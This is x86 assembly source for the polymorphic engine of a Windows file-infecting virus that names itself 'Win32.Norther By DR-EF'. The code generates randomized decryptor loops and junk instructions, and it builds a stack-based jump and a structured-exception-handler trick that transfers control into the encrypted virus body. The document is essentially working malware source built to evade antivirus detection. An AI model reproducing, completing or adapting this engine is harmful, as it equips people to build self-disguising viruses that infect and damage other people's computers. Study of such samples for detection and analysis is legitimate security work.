PolyBuffer dd 0
SizeOfDataToEncrypt equ (VirusSize/4);virus size in dwords
FixRVA dd 0
WriteInstruction1:
;this function write pushad instruction
mov byte ptr [edi],60h ;pushad
inc edi
ret
WriteInstruction2:
;this function set esi register to start of encrypted virus
call GenRandomNumber
mov ebx,[ebp + StartOfDataToEncrypt]
sub ebx,[ebp + mapbase]
add ebx,[ebp + ProgramImageBase]
add ebx,[ebp + FixRVA]
and eax,0ffh ;get random number between 0 ~ 255
cmp eax,33h
ja ins2_1
mov byte ptr [edi],0beh ;way 1:
mov dword ptr [edi + 1],ebx ;mov esi,StartOfDataToEncrypt
add edi,5h
jmp retins2
ins2_1: cmp eax,66h
ja ins2_2
mov byte ptr [edi],68h ;way 2:
mov dword ptr [edi + 1],ebx ;push StartOfDataToEncrypt
add edi,5h
call WriteJunkCode ;pop esi
mov byte ptr [edi],5eh
inc edi
jmp retins2
ins2_2: cmp eax,99h
ja ins2_3
mov word ptr [edi],0f633h ;way 3:
add edi,2h ;xor esi,esi
push ebx
call WriteJunkCode
pop ebx
call _ins2oresival
jmp retins2
ins2_3: cmp eax,0cch
ja ins2_4
mov word ptr [edi],0f62bh ;way 4
add edi,2h ;sub esi,esi
push ebx
call WriteJunkCode
pop ebx
call _ins2oresival
jmp retins2
ins2_4: not ebx ;way 5
mov byte ptr [edi],0beh ;mov esi,not StartOfDataToEncrypt
mov dword ptr [edi + 1],ebx
add edi,5h
call WriteJunkCode
mov word ptr [edi],0d6f7h ;not esi
add edi,2h
retins2:ret
_ins2oresival:
;write or esi,StartOfDataToEncrypt instruction
mov word ptr [edi],0ce81h
mov dword ptr [edi + 2],ebx
add edi,6h
ret
WriteInstruction3:
;this function set edi register to esi register
call GenRandomNumber
and eax,0c8h
cmp eax,32h
ja ins3_1
mov word ptr [edi],0fe8bh ;mov edi,esi
add edi,2h
jmp retins3
ins3_1: cmp eax,64h
ja ins3_2
mov byte ptr [edi],56h ;push esi
inc edi
call WriteJunkCode
mov byte ptr [edi],5fh ;pop edi
inc edi
jmp retins3
ins3_2: cmp eax,96h
ja ins3_3
mov word ptr [edi],0fe87h ;xchg edi esi
add edi,2h
call WriteJunkCode
mov word ptr [edi],0f78bh ;mov esi,edi
add edi,2h
jmp retins3
ins3_3: mov word ptr [edi],0f787h ;xchg edi esi
add edi,2h
call WriteJunkCode
mov word ptr [edi],0f78bh ;mov esi,edi
add edi,2h
retins3:ret
WriteInstruction4:
;this function set ecx with the size of the virus in dwords
call GenRandomNumber
mov ebx,SizeOfDataToEncrypt
and eax,0ffh
cmp eax,33h
ja ins4_1
mov byte ptr [edi],0b9h ;mov ecx,sizeofvirusindwords
mov dword ptr [edi + 1],ebx
add edi,5h
jmp retins4
ins4_1: cmp eax,66h
ja ins4_2
mov byte ptr [edi],68h ;push sizeofvirusindwords
mov dword ptr [edi + 1],ebx
add edi,5h
call WriteJunkCode
mov byte ptr [edi],59h ;pop ecx
inc edi
jmp retins4
ins4_2: cmp eax,99h
ja ins4_3
mov word ptr [edi],0c933h ;xor ecx,ecx
add edi,2h
push ebx
call WriteJunkCode
pop ebx
call _ins4orecxval
jmp retins4
ins4_3: cmp eax,0cch
ja ins4_4
mov word ptr [edi],0c92bh ;sub ecx,ecx
add edi,2h
push ebx
call WriteJunkCode
pop ebx
call _ins4orecxval
jmp retins4
ins4_4: not ebx
mov byte ptr [edi],0b9h ;mov ecx,not sizeofvirusindwords
mov dword ptr [edi + 1],ebx
add edi,5h
call WriteJunkCode
mov word ptr [edi],0d1f7h
add edi,2h
retins4:ret
_ins4orecxval:
mov word ptr [edi],0c981h
mov dword ptr [edi + 2],ebx
add edi,6h
ret
WriteInstruction5:
;this function read 4 bytes from [esi] into eax
;and add to esi register 4 (if there is need to do so).
call GenRandomNumber
and eax,12ch
cmp eax,64h
ja ins5_1
mov byte ptr [edi],0adh ;lodsd
inc edi
jmp retins5
ins5_1: cmp eax,0c8h
ja ins5_2
mov word ptr [edi],068bh ;mov eax,dword ptr [esi]
add edi,2h
call _ins5addesi4
jmp retins5
ins5_2: mov word ptr [edi],36ffh ;push dword ptr [esi]
add edi,2h
call WriteJunkCode
mov byte ptr [edi],58h ;pop eax
inc edi
call _ins5addesi4
retins5:ret
_ins5addesi4:
;this function write add to esi register 4
call GenRandomNumber
and eax,64h
cmp eax,32h
ja addesi4_2
mov word ptr [edi],0c683h ;way 1
mov byte ptr [edi + 2],4h ;add esi,4h
add edi,3h
jmp raddesi
addesi4_2:
mov ecx,4h ;way 2
@incesi:mov byte ptr [edi],46h
inc edi
call WriteJunkCode
loop @incesi
raddesi:ret
WriteInstruction6:
;this function decrypt the value of eax
mov ebx,dword ptr [ebp + key]
cmp byte ptr [ebp + EncryptionMethod],1h
jne ins6_1
mov word ptr [edi],0d0f7h ;not eax
add edi,2h
jmp retins6
ins6_1: cmp byte ptr [ebp + EncryptionMethod],2h
jne ins6_2
mov byte ptr [edi],2dh ;sub eax,key
mov dword ptr [edi + 1],ebx
add edi,5h
jmp retins6
ins6_2: cmp byte ptr [ebp + EncryptionMethod],3h
jne ins6_3
mov byte ptr [edi],05h ;add eax,key
mov dword ptr [edi + 1],ebx
add edi,5h
jmp retins6
ins6_3: mov byte ptr [edi],35h
mov dword ptr [edi + 1],ebx ;xor eax,key
add edi,5h
jmp retins6
retins6:ret
WriteInstruction7:
;this function copy the value of eax to [edi]
call GenRandomNumber
and eax,258h
cmp eax,0c8h
ja ins7_1
mov byte ptr [edi],0abh ;stosd
inc edi
jmp retins7
ins7_1: cmp eax,190h
ja ins7_2
mov word ptr [edi],0789h ;mov dword ptr [edi],eax
add edi,2h
call WriteJunkCode
call addedi4
jmp retins7
ins7_2: mov byte ptr [edi],50h ;push eax
inc edi
call WriteJunkCode
mov word ptr [edi],078fh ;pop dword ptr [edi]
add edi,2h
call addedi4
retins7:ret
addedi4:
call GenRandomNumber
and eax,12ch
cmp eax,96h
ja _addedi4
mov word ptr [edi],0c783h
mov byte ptr [edi + 2],4h
add edi,3h
jmp retins7a
_addedi4:
mov ecx,4h
@incedi:mov byte ptr [edi],47h ;inc edi
inc edi
call WriteJunkCode
loop @incedi
retins7a:ret
WriteInstruction8:
;this function write the loop instruction of the decryptor
call GenRandomNumber
and eax,12ch
cmp eax,96h
ja ins8_1
mov byte ptr [edi],49h ;dec ecx
inc edi
call WriteJunkCode
mov word ptr [edi],0f983h
mov byte ptr [edi + 2],0h ;cmp ecx,0h
add edi,3h
mov eax,dword ptr [ebp + PolyBuffer]
sub eax,edi
mov byte ptr [edi],75h ;jne
sub eax,2h
mov byte ptr [edi + 1],al
add edi,2h
jmp retins8
ins8_1: mov eax,dword ptr [ebp + PolyBuffer]
sub eax,edi
mov byte ptr [edi],0e2h ;loop
sub eax,2h
mov byte ptr [edi + 1],al
add edi,2h
retins8:ret
WriteInstruction9:
;this istruction write a code in the stack,that jump into virus code
call GenRandomNumber
mov ebx,[ebp + StartOfDataToEncrypt]
sub ebx,[ebp + mapbase]
add ebx,[ebp + ProgramImageBase]
add ebx,[ebp + FixRVA] ;offset to jump
mov dword ptr [ebp + push_and_ret + 1],ebx ;save address
;push 'push offset' & 'ret' instructions to the stack
;way 1:
; push xxx
; push xxx
;way 2:
; mov reg,xxx
; push reg
; mov reg,xxx
; push reg
;way 3:
; mov reg,xored xxx
; push reg
; xor dword ptr [esp],xored val
; mov reg,xored xxx
; push reg
; xor dword ptr [esp],xored val
;------------------------------------------------------
and eax,4b0h
cmp eax,190h
ja I9_A
xor ecx,ecx ;way 1 !!!
mov cx,word ptr [ebp + push_and_ret+4]
mov byte ptr [edi],68h
mov dword ptr [edi + 1h],ecx ;gen push xxx
add edi,5h
call WriteJunkCode
xor ecx,ecx
mov ecx,dword ptr [ebp + push_and_ret]
mov byte ptr [edi],68h
mov dword ptr [edi +1h],ecx ;gen push xxx
add edi,5h
jmp I9_Exit
I9_A: cmp eax,320h
ja I9_B
xor eax,eax
mov ax,word ptr [ebp + push_and_ret+4]
call GenMoveAndPush
xor eax,eax
mov eax,dword ptr [ebp + push_and_ret]
call GenMoveAndPush
jmp I9_Exit
I9_B: call GenRandomNumber
xchg ebx,eax
xor eax,eax
mov ax,word ptr [ebp + push_and_ret+4]
xor eax,ebx
call GenMoveAndPush
call _WriteJunkCode
mov al,81h
stosb
mov ax,2434h
stosw
xchg ebx,eax
push eax
stosd
xor eax,eax
mov eax,dword ptr [ebp + push_and_ret]
xor eax,dword ptr [esp]
call GenMoveAndPush
call _WriteJunkCode
pop ebx
mov al,81h
stosb
mov ax,2434h
stosw
xchg ebx,eax
stosd
I9_Exit:
Call WriteJunkCode
;gen a SEH frame that jump into the stack
;----------------------------------------
;gen 'push esp'
;way 1:
; push esp
;way 2:
; mov reg,esp
; push reg
;------------------------------------------
call GenRandomNumber
and eax,4b0h ;get number between 0 ~ 1200
cmp eax,258h
ja _PushEsp1
mov al,54h ;push esp
stosb
jmp ___1__
_PushEsp1:
call GenRandomNumber ;way 2:
and eax,7h ;move reg,esp
push eax ;push reg
mov ecx,8h
mul ecx
xchg al,ah
add ah,0c4h
mov al,8bh
stosw
call _WriteJunkCode
pop eax
add al,50h
stosb
___1__:
call WriteJunkCode
;gen 'push dword ptr fs:[0]'
;way 1:
; push dword ptr fs:[0]
;way 2:
; xor/sub reg,reg
; push dword ptr fs:[reg]
;way 3:
; xor/sub reg,reg
; push dword ptr fs:[reg+reg]
;--------------------------------------------
call GenRandomNumber
and eax,4b0h
cmp eax,190h
ja _nW
mov eax,36FF6764h
stosd
xor eax,eax
stosw
jmp NextIns
_nW: cmp eax,320h
ja _nW2
call GenEmptyReg
push ecx
call _WriteJunkCode
pop ecx
sub ch,0c0h
xor eax,eax
mov al,ch
mov ecx,9h
div ecx
xchg al,cl
mov ax,0ff64h
stosw
xchg al,cl
add al,30h
stosb
jmp NextIns
_nW2: call GenEmptyReg
push ecx
call _WriteJunkCode
pop ecx
sub ch,0c0h
xchg ah,ch
mov al,34h
shl eax,10h
mov ax,0ff64h
stosd
NextIns:
call WriteJunkCode
;gen 'mov fs:[0],esp
;way 1:
; mov fs:[0],esp
;way 2:
; xor/sub reg,reg
; mov fs:[reg],esp
;way 3:
; mov reg,esp
; mov fs:[0],reg
;---------------------------------------------
call GenRandomNumber
and eax,4b0h
cmp eax,190h
ja __nW1
mov eax,26896764h
stosd
xor eax,eax
stosw
jmp GenF
__nW1: cmp eax,320h
ja __nW2
call GenEmptyReg
sub ch,0c0h
push ecx
call _WriteJunkCode
pop ecx
xor eax,eax
mov al,ch
mov ecx,9h
div ecx
push eax
mov ax,8964h
stosw
pop eax
add al,20h
stosb
jmp GenF
__nW2: call GenMovRegEsp
push ecx
call _WriteJunkCode
pop ecx
add cl,0eh
mov eax,89676400h
mov al,cl
ror eax,8h
stosd
xor eax,eax
stosw
GenF:
;gen 'page fault',in order to jump
;way 1:
; int 3
;way 2:
; ud2 -> undefine instruction (0fh,0bh)
;way 3:
; mov ecx,0\xor ecx,ecx\sub ecx\ecx
; div ecx
;--------------------------------------------------------
call GenRandomNumber
and eax,384h
cmp eax,12ch
ja _F_1
mov al,0cch
stosb
jmp ExitGF
_F_1: cmp eax,258h
ja _F_2
mov ax,0b0fh
stosw
jmp ExitGF
_F_2: call GenRandomNumber
and eax,384h
cmp eax,12ch
ja _ecx0_1
mov al,0b9h
stosb
xor eax,eax
stosd
jmp div_ecx
_ecx0_1:cmp eax,258h
ja _ecx0_2
mov ax,0c92bh
stosw
jmp div_ecx
_ecx0_2:mov ax,0c933h
stosw
div_ecx:call WriteJunkCode
mov ax,0f1f7h
stosw
ExitGF: ret
;instructions to generate in the stack:
push_and_ret db 68h,0,0,0,0,0c3h
_WriteJunkCode: ;gen junk code that dont destroy registers
call GenRandomNumber
and eax,5208h
cmp eax,0bb8h
ja _WJC1
call GenAndReg
jmp ExitJC
_WJC1: cmp eax,1770h
ja _WJC2
call GenJump
jmp ExitJC
_WJC2: cmp eax,2328h
ja _WJC3
call GenPushPop
jmp ExitJC
_WJC3: cmp eax,2ee0h
ja _WJC4
call GenIncDec
jmp ExitJC
_WJC4: cmp eax,3a98h
ja _WJC5
call GenMoveRegReg
jmp ExitJC
_WJC5: call OneByte
ExitJC: ret
;output cl:reg id
GenMovRegEsp:
call GenRandomNumber
and eax,00000600h
mov ecx,8h
mul ecx
mov cl,ah
add ah,0cch
mov al,8bh
stosw
ret
;output ch:reg id
GenEmptyReg:
call GenRandomNumber
xor ecx,ecx
and eax,5208h
cmp eax,0bb8h
ja _ER
mov ch,0c0h
jmp _ER_
_ER: cmp eax,1770h
ja _ER2
mov ch,0dbh
jmp _ER_
_ER2: cmp eax,2328h
ja _ER3
mov ch,0c9h
jmp _ER_
_ER3: cmp eax,2ee0h
ja _ER4
mov ch,0d2h
jmp _ER_
_ER4: cmp eax,3a98h
ja _ER5
mov ch,0ffh
jmp _ER_
_ER5: mov ch,0f6h
_ER_: call GenRandomNumber
cmp ah,80h
ja _ER__
mov cl,33h
jmp _E_R
_ER__: mov cl,2bh
_E_R: mov ax,cx
stosw
ret
GenMoveAndPush:
push eax ;number to mov & push
No_Esp: call GenRandomNumber
and al,7h
mov cl,al
add al,0b8h
cmp al,0bch
je No_Esp
stosb
pop eax
stosd
push ecx
call _WriteJunkCode ;gen junk between the mov and the push
pop eax
add al,50h
stosb
ret
InitRandomNumber:
call [ebp + GetTickCount]
mov dword ptr [ebp + RandomNumber],eax
ret
RandomNumber dd 0
GenRandomNumber: ;a simple random num generator
pushad
mov eax,dword ptr [ebp + RandomNumber]
and eax,12345678h
mov cl,ah
ror eax,cl
add eax,98765abdh
mov ecx,12345678h
mul ecx
add eax,edx
xchg ah,al
sub eax,edx
mov dword ptr [ebp + RandomNumber],eax
popad
mov eax,dword ptr [ebp + RandomNumber]
ret
WriteJunkCode:
call GenRandomNumber ;split this procedure
and eax,3e8h ;to four procedure's
cmp eax,0fah ;in order to give each
ja _jnk1 ;junkcode the same chance
call WriteJunkCode1
jmp ExitJunk
_jnk1: cmp eax,1f4h
ja _jnk2
call WriteJunkCode2
jmp ExitJunk
_jnk2: cmp eax,2eeh
ja _jnk3
call WriteJunkCode3
jmp ExitJunk
_jnk3: call WriteJunkCode4
ExitJunk:ret
WriteJunkCode1:
call GenRandomNumber
and eax,3e8h
cmp eax,0fah
ja _jnk_1
call GenAndReg ;1
jmp ExtJunk1
_jnk_1: cmp eax,1f4h
ja _jnk_2
call GenJump ;2
jmp ExtJunk1
_jnk_2: cmp eax,2eeh
ja _jnk_3
call GenPushPop ;3
jmp ExtJunk1
_jnk_3: call GenIncDec ;4
ExtJunk1:ret
WriteJunkCode2:
call GenRandomNumber
and eax,3e8h
cmp eax,0fah
ja _jn_k1
call GenMoveRegReg ;5
jmp ExtJunk2
_jn_k1: cmp eax,1f4h
ja _jn_k2
call GenAnd ;6
jmp ExtJunk2
_jn_k2: cmp eax,2eeh
ja _jn_k3
call GenMove ;7
jmp ExtJunk2
_jn_k3: call GenPushTrashPopReg ;8
ExtJunk2:ret
WriteJunkCode3:
call GenRandomNumber
and eax,3e8h
cmp eax,0fah
ja _j_nk1
call GenShrReg ;9
jmp ExtJunk3
_j_nk1: cmp eax,1f4h
ja _j_nk2
call GenShlReg ;10
jmp ExtJunk3
_j_nk2: cmp eax,2eeh
ja _j_nk3
call GenRorReg ;11
jmp ExtJunk3
_j_nk3: call GenRolReg ;12
ExtJunk3:ret
WriteJunkCode4:
call GenRandomNumber
and eax,3e8h
cmp eax,0fah
ja __jnk1
call GenOrReg ;13
jmp ExtJunk4
__jnk1: cmp eax,1f4h
ja __jnk2
call GenXorReg ;14
jmp ExtJunk4
__jnk2: cmp eax,2eeh
ja __jnk3
call GenSubAddTrash ;15
jmp ExtJunk4
__jnk3: call OneByte ;16
ExtJunk4:ret
GenAndReg:
;this function generate and reg,reg instruction
call GenRandomNumber
and eax,1f40h
cmp eax,3e8h
ja and2
mov ah,0c0h
jmp exitand
and2: cmp eax,7d0h
ja and3
mov ah,0dbh
jmp exitand
and3: cmp eax,0bb8h
ja and4
mov ah,0c9h
jmp exitand
and4: cmp eax,0fa0h
ja and5
mov ah,0d2h
jmp exitand
and5: cmp eax,1388
ja and6
mov ah,0ffh
jmp exitand
and6: cmp eax,1770h
ja and7
mov ah,0f6h
jmp exitand
and7: cmp eax,1b58h
ja and8
mov ah,0edh
jmp exitand
and8: mov ah,0e4h
exitand:mov al,23h
stosw
ret
GenJump:
;this function generate do nothing condition jump
call GenRandomNumber
and eax,0fh
add eax,70h
stosw
ret
GenPushPop:
;this function generate push reg \ pop reg instruction
call GenRandomNumber
and eax,7h
add eax,50h
stosb
add eax,8h
stosb
ret
GenIncDec:
;this function generate:inc reg\dec reg or dec reg\inc reg instruction
call GenRandomNumber
cmp al,7fh
ja decinc
and eax,7h
add eax,40h
stosb
add eax,8h
stosb
jmp exitincd
decinc: and eax,7h
add eax,48h
mov byte ptr [edi],al
stosb
sub eax,8h
mov byte ptr [edi],al
stosb
exitincd:ret
GenMoveRegReg: ;gen mov reg,reg
call GenRandomNumber
and eax,1f40h
cmp eax,3e8h
ja mreg2
mov ah,0c0h
jmp exitmreg
mreg2: cmp eax,7d0h
ja mreg3
mov ah,0dbh
jmp exitmreg
mreg3: cmp eax,0bb8h
ja mreg4
mov ah,0c9h
jmp exitmreg
mreg4: cmp eax,0fa0h
ja mreg5
mov ah,0d2h
jmp exitmreg
mreg5: cmp eax,1388
ja mreg6
mov ah,0ffh
jmp exitmreg
mreg6: cmp eax,1770h
ja mreg7
mov ah,0f6h
jmp exitmreg
mreg7: cmp eax,1b58h
ja mreg8
mov ah,0edh
jmp exitmreg
mreg8: mov ah,0e4h
exitmreg:
mov al,8bh
stosw
ret
GenAnd:
;this function generate and ebx\edx\ebp,trash instruction
call GenRandomNumber
push eax
cmp al,50h
ja nand1
mov ah,0e3h
jmp wand
nand1: cmp al,0a0h
ja nand2
mov ah,0e2h
jmp wand
nand2: mov ah,0e5h
wand: mov al,81h
stosw
pop eax
stosd
ret
GenMove:
;this function generate mov ebx\edx\ebp,trash instruction
call GenRandomNumber
push eax
cmp al,50h
ja nmov1
mov al,0bbh
jmp wmov
nmov1: cmp al,0a0h
ja nmov2
mov al,0bah
jmp wmov
nmov2: mov al,0bdh
wmov: stosb
pop eax
stosd
ret
GenPushTrashPopReg:
;this function generate push trash\ pop ebp\ebx\edx instruction
call GenRandomNumber
mov byte ptr [edi],68h
inc edi
stosd
cmp al,55h
ja nextpt
mov byte ptr [edi],5dh
jmp wpop
nextpt: cmp al,0aah
ja nextpt2
mov byte ptr [edi],5ah
jmp wpop
nextpt2:mov byte ptr [edi],5bh
wpop: inc edi
ret
GenShrReg: ;gen shr unusedreg,num
call GenRandomNumber
mov byte ptr [edi],0c1h
inc edi
cmp al,50h
ja nshr
mov byte ptr [edi],0edh
jmp wshr
nshr: cmp al,0a0h
ja nshr2
mov byte ptr [edi],0eah
jmp wshr
nshr2: mov byte ptr [edi],0ebh
wshr: inc edi
stosb
ret
GenShlReg: ;gen shl unusedreg,num
call GenRandomNumber
mov byte ptr [edi],0c1h
inc edi
cmp al,50h
ja nshl
mov byte ptr [edi],0e3h
jmp wshl
nshl: cmp al,0a0h
ja nshl2
mov byte ptr [edi],0e2h
jmp wshl
nshl2: mov byte ptr [edi],0e5h
wshl: inc edi
stosb
ret
GenRorReg: ;gen ror unusedreg,num
call GenRandomNumber
mov byte ptr [edi],0c1h
inc edi
cmp al,50h
ja nror
mov byte ptr [edi],0cbh
jmp wror
nror: cmp al,0a0h
ja nror2
mov byte ptr [edi],0cah
jmp wror
nror2: mov byte ptr [edi],0cdh
wror: inc edi
stosb
ret
GenRolReg: ;gen rol unusedreg,num
call GenRandomNumber
mov byte ptr [edi],0c1h
inc edi
cmp al,50h
ja nrol
mov byte ptr [edi],0c3h
jmp wrol
nrol: cmp al,0a0h
ja nrol2
mov byte ptr [edi],0c2h
jmp wrol
nrol2: mov byte ptr [edi],0c5h
wrol: inc edi
stosb
ret
GenOrReg: ;gen or unusedreg,num
call GenRandomNumber
push eax
mov al,81h
cmp ah,50h
ja nor
mov ah,0cbh
jmp wor
nor: cmp ah,0a0h
ja nor2
mov ah,0cah
jmp wor
nor2: mov ah,0cdh
wor: stosw
pop eax
stosd
ret
GenXorReg: ;gen xor unusedreg,num
call GenRandomNumber
push eax
mov al,81h
cmp ah,50h
ja nXor
mov ah,0f3h
jmp wXor
nXor: cmp ah,0a0h
ja nXor2
mov ah,0f2h
jmp wXor
nXor2: mov ah,0f5h
wXor: stosw
pop eax
stosd
ret
GenSubAddTrash: ;gen add reg,num\sub reg,num
noesp: call GenRandomNumber
mov ebx,eax
cmp al,80h
ja sub_f
and ah,7h
add ah,0c0h
cmp ah,0c4h
je noesp
mov al,81h
stosw
mov eax,ebx
stosd
mov eax,ebx
and ah,7h
add ah,0e8h
mov al,81h
stosw
mov eax,ebx
stosd
jmp exitsa
sub_f: and ah,7h
add ah,0e8h
cmp ah,0ech
je noesp
mov al,81h
stosw
mov eax,ebx
stosd
mov eax,ebx
and ah,7h
add ah,0c0h
mov al,81h
stosw
mov eax,ebx
stosd
exitsa: ret
OneByte: ;gen one byte do nothing instruction
call GenRandomNumber
cmp al,32h
ja byte1
mov al,90h
jmp end_get_byte
byte1: cmp al,64h
ja byte2
mov al,0f8h
jmp end_get_byte
byte2: cmp al,96h
ja byte3
mov al,0f5h
jmp end_get_byte
byte3: cmp al,0c8h
ja byte4
mov al,0f9h
jmp end_get_byte
byte4: mov al,0fch
end_get_byte:
stosb
ret
;------------------------------------------------------------------------------------
db 10h dup(?) ;padding
VirusEnd equ $
FirstGen:
push 0h
push offset Message
push offset Title_
push 0h
call MessageBoxA
push 0h
call GetModuleHandleA
push eax
call ExitProcess
Message db "Win32.Norther By DR-EF",0
if DEBUG
Title_ db "[Win32.Norther]",0
else
Title_ db "[Win32.Norther] Relese Version",0
endif
End Norther